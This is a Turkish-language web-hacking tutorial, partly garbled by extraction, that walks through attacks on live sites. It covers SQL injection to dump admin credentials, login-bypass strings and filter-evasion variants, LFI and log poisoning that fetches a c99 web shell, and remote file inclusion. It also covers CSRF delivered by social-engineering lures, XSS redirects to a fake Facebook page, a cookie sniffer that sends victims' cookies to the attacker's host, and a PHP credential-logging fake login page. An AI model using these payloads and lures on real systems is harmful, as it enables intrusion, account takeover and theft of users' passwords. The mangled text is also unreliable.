wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox

Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde

Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Şeklinde Kadı ve Şifreyi ccedilektik

e-) SQL İnjection Login Bypass

SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım

Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl

SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere

adminrsquomdash

rsquo or 0=0 --

rsquo or rsquo 1=1

rsquo or rsquo 1

rsquo or rsquo

or 0=0 --

or 0=0 --

rsquo or 0=0

or 0=0

or 0=0

rsquo or rsquoxrsquo=rsquox

or x=x

rsquo) or (rsquoxrsquo=rsquox

rsquo or 1=1--

or 1=1--

or 1=1--

rsquo or a=a--

or a=a

rsquo) or (rsquoarsquo=rsquoa

) or (a=a

hi or a=a

hi or 1=1 --

hirsquo or 1=1 --

hirsquo or rsquoarsquo=rsquoa

hirsquo) or (rsquoarsquo=rsquoa

hi)or(a=a

Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz

lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım

Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz

Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu

f-) PostData SQL İnjection

Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl

Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan

ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz

Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza

Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz

ltform name=t1 method=POST action=loginaspxgt

Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır

Peki bu accedilığı nasıl kullanacağız

Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani

ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt

Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz

SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )

Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi

SQL İnjection Bypass

Merhaba arkadaşlar

Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur

SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir

a)

Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim

Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz

Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln

wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir

Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız

wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı

Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim

wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )

order+by+1mdashsonuna + koyduk

id=1 değerinin başına da ) koyduk

Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1orderby1--

wwwsayfamcomsayfaphpid=1+(order)+(by)+1--

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır

b)

Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim

Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim

wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık

wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız

wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip

Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız

wwwsayfamcomsayfaphpid=1+union+select+123456789--

yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım

Bir bypass da kullanabileceğimiz bazı karakter oluşumları

---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))

İlk olarak

wwwsayfamcomsayfaphpid=1+union+select+123456789--

deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))

wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)

wwwsayfamcomsayfaphpid=-1unionselect123456789--+

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -

wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+

wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--

wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--

şeklinde onlarca bypass teknikleri bulunmaktadır ))

c)

Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim

Şimdi sırada group_concat komutunun bypass edilmesinde

Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde

wwwsayfacomsayfaphpid=-1+union+select+123456789--

ne demiştiş 469 yansımıştı 4 den devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi

Group_concat bypass tipleride aynı mantıkla yapılır

group_concat()

grOUp_ConCat(user0x3epass)

group_concat(0x3c62723e)

şeklinde uygulamalar yapacağız

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

veya

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--

ve

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--

şeklinde bypasslar soumlz konusudur

d)

Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))

Taktiklerimiz aynıdır tekrar aynı site ile devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde yaptık bize tablo isimlerini vermedi

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum

e)

Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo

Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--

Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))

Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır

Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek

LFI(Local File İnclude)

1- Local File İnclude Nedir

LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim

2- Local File İnclude Mantığı Nedir

LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor

3- Saldırı Anı (Accedilığın Tespiti)

Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz

wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz

Bize verilen hatadan yola ccedilıkalım

Warning include() ldquohomeuserpublic_htmlsayfaphprdquo

Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz

4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)

Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık

Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım

home -gt 1

user -gt 2

public_html -gt 3

sayfaphp -gt 4

Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır

wwwsitecomsayfaphpid= etcpasswd şeklinde

-HTML Code

HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut

Komut etcpasswd

Encode 2F2F2F2Fetc2Fpasswd

Tekrar deneyelim

wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk

- CharCode

CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım

wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız

Komut etcpasswd

CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)

Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım

wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)

Şeklinde okudukDosyamız başarılı bir şekilde okundu )

5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)

Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza

Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor

wwwsitecomc99php şeklinde ccedilagırabilirsiniz

6- Local File İnclude Nerelerde Tespit Edilebilir

a-) Search kutusu

Bir Search kutusu duumlşuumlnuumln

Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde

Eğer ekrana

Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur

RFI(Remote File İnclude)1- Remote File İnclude Nedir

RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var

2- Remote File İnclude Mantığı Nedir

Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir

3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)

Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz

wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız

Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten

4- Remote File İnclude Nerelerde Tespit Edilebilir

a-Search kutusu

Bir Search (Arama) duumlşuumlnuumln

ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir

CSRFXSRF (Cross-Site RequestForgery)

1-Oumlnsoumlz

XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde

XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın

2- Cross Site Request Forgery Nedir

Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker

3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır

Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere

Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır

4 Nasıl Kullanılır - Exploitlenir

Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim

Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit

wwwsitecomforumpassworddegistirphpyenipassword=mahserat

Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım

Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde

Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir

Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım

Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana

NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek

Merhaba kardeşim

Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş

Uygulama httpmehmetkelepceorgdosyahtml

Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek

5- XSS ve CSRF Arasındaki Benzerlikler

CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır

Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle

Page 11: Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)

Şeklinde giriyoruzAlert alamadıkHemen kodlarla oynayalım farkı goumlrelim

Evet kodumuzla oynadık tekrar hedef site uumlzerinde accedilık analizi yaptığımızda alert alacağız

c-)Normal Bypass

Sıra Geldi Normal Bypass YolunaBu bypass tuumlruumlnde alert kodumuzla pek oynamayapmayacağızAlert kodumuzun başına bir muumldahalede bulunarak alert alacağız

Evet bu şekilde de farklı bir bypass youmlntemi uyguladıkBurada ki ldquogt kodu daha anlaşılır ve koda netlikkatarBu yolla da bir alert aldıkSıra geldi accedilığın uygun kullanımına

7-Saldırı Anı2 (Accedilığın Uygun Kullanımı) -

Cross Site Scripting accedilığını bulduktan sonra en oumlnemli faktoumlrlerden birisi de accedilığın uygunkullanımıdırAccedilığı ne kadar iyi soumlmuumlruumlrseniz sizin iccedilin o derece iyidirXSS Accedilığının sadece site

hacklemek iccedilin değil Siteye uumlye kişilerin bilgilerini almak iccedilin hesapları ele geccedilirmek iccedilin veya bir

kurbana phising fake benzeri sayfalar yutturmak iccedilin de kullanabilirsinizBiz bu sefer XSS Accedilığınıkurbanı fake facebook sayfamıza youmlnlendirmek iccedilin kullanacağızHemen başlıyoruz

Hedef sitemiz wwwtargetcom olsunAccedilığı bulduğumuz dosya homephp dosyası olsun ve veriyi idile ccedilagırsın wwwtargetcomhomephpid= şeklinde

Şimdi biz buraya oumlyle bir kod yazağız ki bizi hazırladığımız fake facebook sayfasına youmlnlendirsin

Yazacağımız kod şu şekildedir

wwwtargetcomhomephpid=gtltscriptgtdocumentlocationhref= wwwfakefacebooksayfamcomltscriptgt

Evet sorguyu site uumlstuumlnde ccedilagırdığımız da bizi wwwfakefacebooksayfamcom adresineyoumlnlendiricektirBunu kurbana atacaksınızFakat link ccedilok uzun kurbanımız burada bir şeytanlık

olduğunu anlayabilirPeki ne yapacağız httpsbitlycom adresine giriyoruzSağ uumlst koumlşede birkutucuk mevcutO kısma wwwtargetcomhomephpid=gtltscriptgtdocumentlocationhref=

wwwfakefacebooksayfamcom ltscriptgt

adresimizi yazıyoruz ve Shorten butonuna tıklıyoruz Burada yaptığımız işlem link kısaltmaktır

Bize httpbitly49856821 Şeklinde bir kısaltılmış link verecekKurban link kısa olduğu iccedilinşuumlphelenmezBu şekilde kurbana yedirme şansımız vardır

8-Saldırı Anı3 (Uygun Sniffer YazılımıSniffer Nedir)

Sniffer Nedir

Sniffer kelime manasıyla koklayıcı anlamına gelirSniffer birccedilok şeyi iccedilin kullanılabilirBiz burada XSSSniffer hazırlayacağızXSS Sniffer ne işe yarar diye soracaksınızBir XSS Accedilığı bulduğumuzu farzedelimAdmin in veya Siteye uumlye olan kullancıların Cookiersquolerini Ccedilalıcaz ve Kendi cookielerimizle

değiştirip o kullanıcı adına giriş yapmış olacağızBulduğumuz accedilığı Snifferrsquoa kuracağızDaha sonrakendi hostumuza atacaz ve snifferrsquoı kurbanrsquoa tıklatacağızBu Şekilde Kurbanın Cookielerini

ccedilalacağızYani biraz olsa da Sosyal Muumlhendislik ile alakalıdır

İşleme başlamadan Sniffer dosyalarını vereyim sizlere

Bu linkten ulaşabilirsiniz - gt httpswwwboxcomsd45q4d5ywdzxwcn7n7wn

Hemen kuruluma geccediliyoruz

Editleyeceğimiz dosyalar ldquochjs ve indexhtml ilk olarak chjs dosyasını accedilıyoruz

httpSİTE ADRESİSniffersnifferphpc= Şeklinde bir yazıyla karşılaşıyoruz SİTE ADRESİ yazankısma dosyaları atacağımız sitenin adresini yazıyoruz(Sniffer dosyası adı altında)

httpbenimsitemcomSniffersnifferphpc= kaydedip kapatıyoruz

Şimdi ise indexhtml dosyamızı editleyeceğiz Notepad de accediltığınızda httpXSS ADRESİ= şeklindebir yazıyla karşılaşacağızXSS Adresi yazan kısma XSS Accedilığını bulduğumuz siteyi yazalım

httptargetcomindexphpid= yazdıktan sonra biraz sag tarafta bulunan httpSİTEADRESİSnifferchjs

SİTE ADRESİ yazan kısmada uumlstte olduğu gibi kendi sitemizin adini yazıyoruz

httpbenimsitemcomSnifferchjs yazdıkKaydedip kapatıyoruz

Daha sonra sniffer klasoumlruumlmuumlzuuml sitemize FTP aracılığıyla atıyoruzHemen kendi sitemizdeccedilalıştırıyoruz snifferımızı httpbenimsitemcomSnifferlogphp şeklinde log panelimizi ccedilağırıyoruzBu

adres cookielerin log olarak tutulacağı adresdirGiriş yaptığımızda bizden Kullanıcı adı şifreisteyecektirKullanıcı adı admin şifresi adminrsquodir

Girdikten sonra bizi log paneline aktaracaktırAccedilığı bulduğumuz siteden bir kurbana veya adminrsquoe linkitıklatmadığımız iccedilin Log panelinde ldquoHenuumlz Log bulunamadırdquo şeklinde bir yazı ccedilıkacaktır

Bizim adminrsquoe tıklatmamız gereken link indexhtml dosyasıdırYanihttpbenimsitemcomSnifferindexhtml lsquodirBuraya girdiğiniz de bir admin paneli gelecek

karşımızaBu admin panelini sahte bir admin panelidirYani adminrsquoin anlamaması iccedilin kurulmuş birpaneldirSizin yapacağınız sadece adminrsquoe veya kurbana httpbenimsitemcomSnifferindexhtml

linkini tıklatmaktırBiraz sosyal muumlhendislik gerekiyor burada tıklatmak iccedilinTıklattıktan sonra adminrsquoinveya kurbanın cookie bilgileri

httpbenimsitemcomSnifferlogphp adresine gelecektir

9-Sonuccedil (Elimize Geccedilen Cookie (Ccedilerez)rsquoi Değiştirme ve Hedef Veriye Ulaşmak)

Cookieleri ccedilektik Cookiersquoler elimizdeCookielerin son satırında Username ve Password kısmıbulunmaktadırYani şu şekilde

[Username]= admin UserİnfoCookie[Password]= mahserat

Evet goumlruumllduumlğuuml gibi kullanıcı adı admin şifresi de mahserat mışBu şekilde Adminin BilgilerinedeErişmiş olduk

10-Cross Site Scripting Accedilığı Olan Bir Siteye Fake Login Sayfası Bırakmak

Son olarak XSS Accedilığı bulduğumuz bir siteye Fake bir Login sayfası bırakacağız

Accedilığı bulduğumuz link wwwsitecomindexphpid= olduğunu farz edelimBuraya HTML kodlarıyla birLogin Kısmı oluşturucağız

wwwsitecomindexphpid= gtlthmtlgtltheadgtltmeta content=texthtmlcharset=ISO-8859-1http-equiv=content-type gtlttitlegtlttitlegtltheadgtltbOdygtltdiv style=text-aling

centergtltform method=POST action=fakesayfaphp name=formgtFake Login ltbrgtltbrgtKullanıcıadıltbrgtltinput type=text value= gtltbrgtSifreltbrgt ltinput name=Pass type=password

gtltbrgtltbrgtltinput name=valid value=Gonder type=submit gtltbrgtltformgtltdivgtltbOdygtlthtmlgt

Bu Şekilde bir HTML Kodu enjekte ettik siteyeFake bir Login kısmı uumlrettikfakesayfaphp dosyasınadikkat edelim arkadaşlar

fakesayfaphp

ltphp

$login = $_POST[rsquologinrsquo]

$password= $_POST[rsquoPasswordrsquo]

$open = fopen(rsquologhtmrsquo rsquoa+rsquo)

fputs($open rsquoLoginrsquo $login rsquoltbrgtrsquo rsquo

Password rsquo $password rsquoltbrgtrsquo rsquoltbrgtrsquo)

gt

fakesayfaphp dosyası loghtm dosyası oluşturuyorLoglarımızı tutuyor

Evet arkadaşlar artık XSS lsquoi ayrıntısına kadar oumlğrendiniz

SQL İnjection1- SQL İnjection Nedir

SQL (Structured Query Language)

SQL İnjection duumlnya uumlzerinde en ccedilok ilgi goumlrev Web Uygulama zaafiyetidirSitelerdeki SQLveritabanına odaklı bir saldırı ccedileşididirKaba tabirle SQL veritabanının ccedilalıştıracağı SQL komutlarıylaSQL İnjection zaafiyeti bulunan bir sitedeki veri geccedilişini kullanarak kendi mevfaatlerimiz ccedilerccedilevesindehedef veriyi ccedilalmak iccedilin kullanılır

2- SQL İnjectionrsquoun Mantığı Nedir

